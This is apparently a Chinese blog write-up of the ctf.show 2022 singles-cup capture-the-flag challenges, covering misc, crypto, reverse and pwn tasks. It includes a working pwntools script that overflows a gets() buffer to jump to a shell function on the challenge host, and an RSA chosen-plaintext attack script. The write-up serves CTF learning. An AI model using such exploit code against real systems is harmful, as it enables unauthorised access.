单身杯(dsb) 2022

ctf.show的2022单身杯中 没大没小的串串、misc签到、古典base、TooYoungRSA、re签到、magic、pwn签到的题解。

我的520

我觉得我连萌新都不如…

MISC

没大没小的串串

1
2
3
描述:
打乱了大小写的flag是 y0U_RE4lLy_kn0W_TH1S_ConGr4tUlAT10Ns
其中正确的flag的md5是 7513209051f455fa44d0fa5cd0f3e051

写个爆破脚本跑就行了。我自己不知道有什么好的笛卡尔乘积的生成方法。所以这个代码不太好看…

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
# solve.py
import hashlib
import itertools

data1 = "y0U_RE4lLy_kn0W_TH1S_ConGr4tUlAT10Ns".upper()
data2 = data1.lower()

data = []
for i in range(len(data1)):
if data1[i] in ["_","0", "4","1"]:
data.append([data1[i]])
continue
data.append([data1[i], data2[i]])

x = itertools.product(data[0],data[1],data[2],data[3],data[4],data[5],data[6],data[7],
data[8],data[9],data[10],data[11],data[12],data[13],data[14],data[15],
data[16],data[17],data[18],data[19],data[20],data[21],data[22],data[23],
data[24],data[25],data[26],data[27],data[28],data[29],data[30],data[31],
data[32],data[33],data[34],data[35])
for i in x:
if hashlib.md5("".join(i).encode("utf8")).hexdigest() == "7513209051f455fa44d0fa5cd0f3e051":
print("".join(i))
break

# y0U_Re4llY_kN0w_TH1s_coNgr4TULat10nS
# ctfshow{y0U_Re4llY_kN0w_TH1s_coNgr4TULat10nS}

misc签到

1
2
3
4
重要提示:
压缩包密码是5位字符
lsb有内容
flag包含5个空格、2个逗号,均替换为下划线,连续只留1个下划线

压缩包直接爆破密码。

1
61f@X

然后他说lsb里面有内容,直接stegosolve抓lsb结果啥都没找到,怀疑不会藏在中间部分了。结果看了一圈lsb都没找到有用的信息…

最后直接查看二进制的图片发现文件尾部附上了一段base64。看来做题还得走一个标准流程,指不定就忘了…

得到的base64 cyberchef转换一下。是一个缺少定位标的二维码。

先把定位标补上。嗯好像这个二维码有点不太符合规范,按理来说定位标附近实要留白的,这里确实黑色。所以现将二维码反色再添加。

得到:

1
2
6C75652C20666172206578636565647320796F75722062656C6965667D
lue, far exceeds your belief}

这个只是一部分的,那么还缺少一部分。

到这里只有LSB的提示没有用了,所以猜测是lsb。StegoSolve看这个二维码没找到,那应该是软件隐写。一圈软件照下来都没找到…

最后再网上搜LSB工具的时候找到个zsteg,这个我还没用过,不过看评价还挺不错?

1
2
3
4
5
6
7
8
9
10
11
┌──(kali㉿kali)-[~/CTF/dsb]
└─$ zsteg -a download.png
b6,abgr,msb,xy .. file: MPEG ADTS, layer I, v2, 112 kbps, Monaural
b7,abgr,lsb,xy .. file: , 48 kHz, Monaural
b8,rgb,msb,xy .. file: RDI Acoustic Doppler Current Profiler (ADCP)
b8,rgba,msb,xy .. file: RDI Acoustic Doppler Current Profiler (ADCP)
b1,r,lsb,xy,prime .. file: MPEG ADTS, layer II, v1, 112 kbps, Stereo
b1,r,lsb,yx .. text: "ctfshow{Your potential,va"
b6,abgr,msb,yx .. file: MPEG ADTS, layer I, v2, 112 kbps, Monaural
b7,abgr,lsb,yx .. file: , 48 kHz, Monaural

这里能看到我们的flag了。好像确实挺好用的? 工具+1

1
# ctfshow{Your potential,value, far exceeds your belief}

然后忘了换里面的字符了…

1
# ctfshow{Your_potential_value_far_exceeds_your_belief}

Crypto

古典base

我这边得到的信息是:

1
YRchdsYIYNY0ZALQZYYIY0NUNQMZNNC=3m2v3wj0zjS0j4T4DtjwiyDymy2l29g=

可以看到两个==位置不对,能这样改变字符位置的,应该是栅栏密码,分组长度应该为2

1
Y3Rmc2hvd3swYjI0YzNjYS00ZjA4LTQ4ZDYtYjIwYi0yNDUyNmQyM2ZlN2N9Cg==

base64解密

1
ctfshow{0b24c3ca-4f08-48d6-b20b-24526d23fe7c}

TooYoungRSA

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from nevergonnagiveyouup import n, e
import secrets
from hashlib import sha256
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad

if __name__ == "__main__":
with open("flag.txt", "rb") as f:
flag = f.read().strip()

k = secrets.randbelow(n)
print(f"ck = {pow(k, e, n)}")
key = sha256(str(k).encode()).digest()
cipher = AES.new(key, AES.MODE_ECB)
print(f"ct = {cipher.encrypt(pad(flag, AES.block_size)).hex()}")

while True:
nevergonnaletyoudown = int(input("I just wanna tell you how i'm feeling... "))
assert nevergonnaletyoudown >= 0
print(f"gotta make you understand: {pow(nevergonnaletyoudown, e, n)}")

链接nc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
F:\CTFTools\yafu-1.34>nc pwn.challenge.ctf.show 28155
ck = 53830851938944413421825489946783740501
ct = 2d67acfe897ac185cfff0beeaf38856356bc0e0a67f253e4da25129c6c409cde165657e156ab7386060222951a532176
I just wanna tell you how i'm feeling...
2
gotta make you understand: 9088662731338809664100216653347181076
I just wanna tell you how i'm feeling...
4
gotta make you understand: 61547101391097434247253645201221024635
I just wanna tell you how i'm feeling...
8
gotta make you understand: 9368775312576566895016755847461863720
I just wanna tell you how i'm feeling...
16
gotta make you understand: 75933324863129460082479849068964500501
I just wanna tell you how i'm feeling...

选择明文攻击

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from gmpy2 import gcd

c2 = 9088662731338809664100216653347181076
c4 = 61547101391097434247253645201221024635
c8 = 9368775312576566895016755847461863720
c16 = 75933324863129460082479849068964500501

dif1 = pow(c2,2) - c4
dif2 = pow(c2,3) - c8
dif3 = pow(c2,4) - c16


n = gcd(gcd(dif1,dif2), gcd(dif2,dif3))
print("n = ", n)

e = 1
while pow(2, e, n) != c2:
e += 1
print("e = ", e)

# n = 190128968349217409128719777740062362481
# e = 652019

这里其实只用两个dif做GCD也可以的。如果e跑的时间比较久的话,可以考虑重新获取数据,重新连一下nc,他会重新生成n和e的。

得到的n用yafu分解。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
starting SIQS on c39: 190128968349217409128719777740062362481

==== sieving in progress (1 thread): 624 relations needed ====
==== Press ctrl-c to abort and save state ====
518 rels found: 285 full + 233 from 2212 partial, (30808.14 rels/sec)

SIQS elapsed time = 0.1090 seconds.
Total factoring time = 0.2692 seconds


***factors found***

P20 = 14093563172030264239
P20 = 13490482571968928479

ans = 1

最后求d,然后AES解密即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from gmpy2 import gcd, invert, powmod
from hashlib import sha256
from Crypto.Cipher import AES

n = 190128968349217409128719777740062362481
p = 14093563172030264239
q = 13490482571968928479
e = 652019

d = invert(e, (p-1)*(q-1))

ck = 53830851938944413421825489946783740501
ct = "2d67acfe897ac185cfff0beeaf38856356bc0e0a67f253e4da25129c6c409cde165657e156ab7386060222951a532176"

k = powmod(ck,d,n)
key = sha256(str(k).encode()).digest()
cipher = AES.new(key, AES.MODE_ECB)

print(cipher.decrypt(bytes.fromhex(ct)))

# ctfshow{8dcb976f-5e92-4d36-89ac-c2273bf442e1}

Reverse

re签到

IDA打开里面有个很像base64的字符串,拉出来base64解密即可得到flag。

1
2
3
4
5
6
7
8
9
V2toT2FWZ3pTbXhZTTA1d1dqSTFabUZYTldaaFNFNTZZek5PZW1NelRucGpkejA5
decode:
WkhOaVgzSmxYM05wWjI1ZmFXNWZhSE56YzNOemMzTnpjdz09
decode:
ZHNiX3JlX3NpZ25faW5faHNzc3Nzc3Nzcw==
decode:
dsb_re_sign_in_hsssssssss

# ctfshow{dsb_re_sign_in_hsssssssss}

magic

题目信息:

1
3个密码只有1个是正确的

逆向。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
int __cdecl main(int argc, const char **argv, const char **envp)
{
unsigned int v5; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v6; // [rsp+8h] [rbp-8h]

v6 = __readfsqword(0x28u);
puts("plz input your password:");
__isoc99_scanf("%d", &v5);
if ( (unsigned int)checkToken(v5) )
puts(aCongratulation);
else
puts("password is incorrect!");
return __readfsqword(0x28u) ^ v6;
}

进入checkToken函数。

1
2
3
4
_BOOL8 __fastcall checkToken(unsigned int a1)
{
return (unsigned int)checkSum(a1) && (unsigned int)p(a1) && (unsigned int)h(a1);
}

这里返回一个bool根据判断条件,这里要这三个都为真才可以。

进入第一个checkSum。

1
2
3
4
5
6
7
8
9
10
11
12
_BOOL8 __fastcall checkSum(int a1)
{
int v3; // [rsp+10h] [rbp-4h]

v3 = 0;
while ( a1 > 0 )
{
v3 += a1 % 10;
a1 /= 10;
}
return v3 == 58;
}

这个是判断a1这个数的所有十进制位的数字之和是不是58。

进入p函数。

1
2
3
4
5
6
7
8
9
10
11
__int64 __fastcall p(int a1)
{
int i; // [rsp+1Ch] [rbp-4h]

for ( i = 2; sqrt((double)a1) >= (double)i; ++i )
{
if ( !(a1 % i) )
return 0LL;
}
return 1LL;
}

素数判定函数。

进入h函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
__int64 __fastcall h(int a1)
{
int v2; // [rsp+20h] [rbp-10h]
int v3; // [rsp+20h] [rbp-10h]
int v4; // [rsp+24h] [rbp-Ch]
int v5; // [rsp+28h] [rbp-8h]
int v6; // [rsp+2Ch] [rbp-4h]

v2 = a1;
v4 = 0;
while ( v2 > 0 )
{
v2 /= 10;
++v4;
}
v3 = a1;
while ( v3 )
{
v5 = (int)((double)v3 / pow(10.0, (double)(v4 - 1)));
v6 = v3 % 10;
v3 = (int)((double)v3 - pow(10.0, (double)(v4 - 1)) * (double)v5) / 10;
if ( v5 != v6 )
return 0LL;
v4 -= 2;
}
return 1LL;
}

判断这个数是不是一个回文数。

所以这个数有三个条件,他是一个回文素数,同时他的所有位之和为58。接下来写个脚本来跑。为了时间上能更快,我们先生成回文数,在判断这个数是不是素数,再判断和是否为58。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
# solve.py
import sympy

# 位数之和为58
# 是一个素数
# 是一个回文数
# 如果位数之和为58至少需要6位,一个int有10位,所以可选的部分位6,7,8,9,10位
Palind = []

# 6 位 回文数
for n in range(10):
for m in range(10):
for k in range(10):
temp = 100001*n+10010*m+1100*k
if sympy.isprime(temp):
Palind.append(temp)
# 7位
for n in range(10):
for m in range(10):
for k in range(10):
for p in range(10):
temp = 1000001*n+100010*m+10100*k+1000*p
if sympy.isprime(temp):
Palind.append(temp)
# 8位
for n in range(10):
for m in range(10):
for k in range(10):
for p in range(10):
temp = 10000001*n+1000010*m+100100*k+11000*p
if sympy.isprime(temp):
Palind.append(temp)
# 9位
for n in range(10):
for m in range(10):
for k in range(10):
for p in range(10):
for q in range(10):
temp = 100000001*n+10000010*m+1000100*k+101000*p+10000*q
if sympy.isprime(temp):
Palind.append(temp)

for i in Palind:
mydigit = sum(list(map(eval,list(str(i)))))
if mydigit == 58:
print(i)

跑完之后有很多结果。

1
2
3
4
5
6
7
8
9
10
9888889
9896989
9978799
178989871
179969971
188888881
189787981
...
...
...

回到提示信息,三个密码只有一个是正确的。在我们的输出结果中,七位的满足要求的数只有三个,猜测可能就是这三个其中的一个。

尝试了一下第一个数,发现就是flag。

1
flag: ctfshow{9888889}

PWN

pwn签到

IDA打开。

1
2
3
4
5
6
7
8
9
int __cdecl main(int argc, const char **argv, const char **envp)
{
setbuf(stdin, 0);
setbuf(stdout, 0);
puts(byte_8048668);
dsb(&argc);
puts(asc_8048694);
return 0;
}

进入dsb。

1
2
3
4
5
6
7
int dsb()
{
char s[12]; // [esp+8h] [ebp-10h] BYREF

gets(s);
return 0;
}

这里一个溢出漏洞。函数列表中有一个shell_here函数。所以我们直接用shell_here的地址盖返回地址就行了。

1
2
3
4
5
6
7
8
9
10
# solve.py

import pwn

r = pwn.remote("pwn.challenge.ctf.show", 28175)
r.send(b"\xf6\x84\x04\x08"*6)

r.interactive()

# ctfshow{19d0be7b-3f2d-48e6-a8f6-186af1f41177}

于2022-06-09新增

官方的writeup也出来了:

https://ctf-show.feishu.cn/docs/doccntPffNO3VIF0LV6087Nzbnc#

有些题我看writeup都觉得难,这那适合新手了?


本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!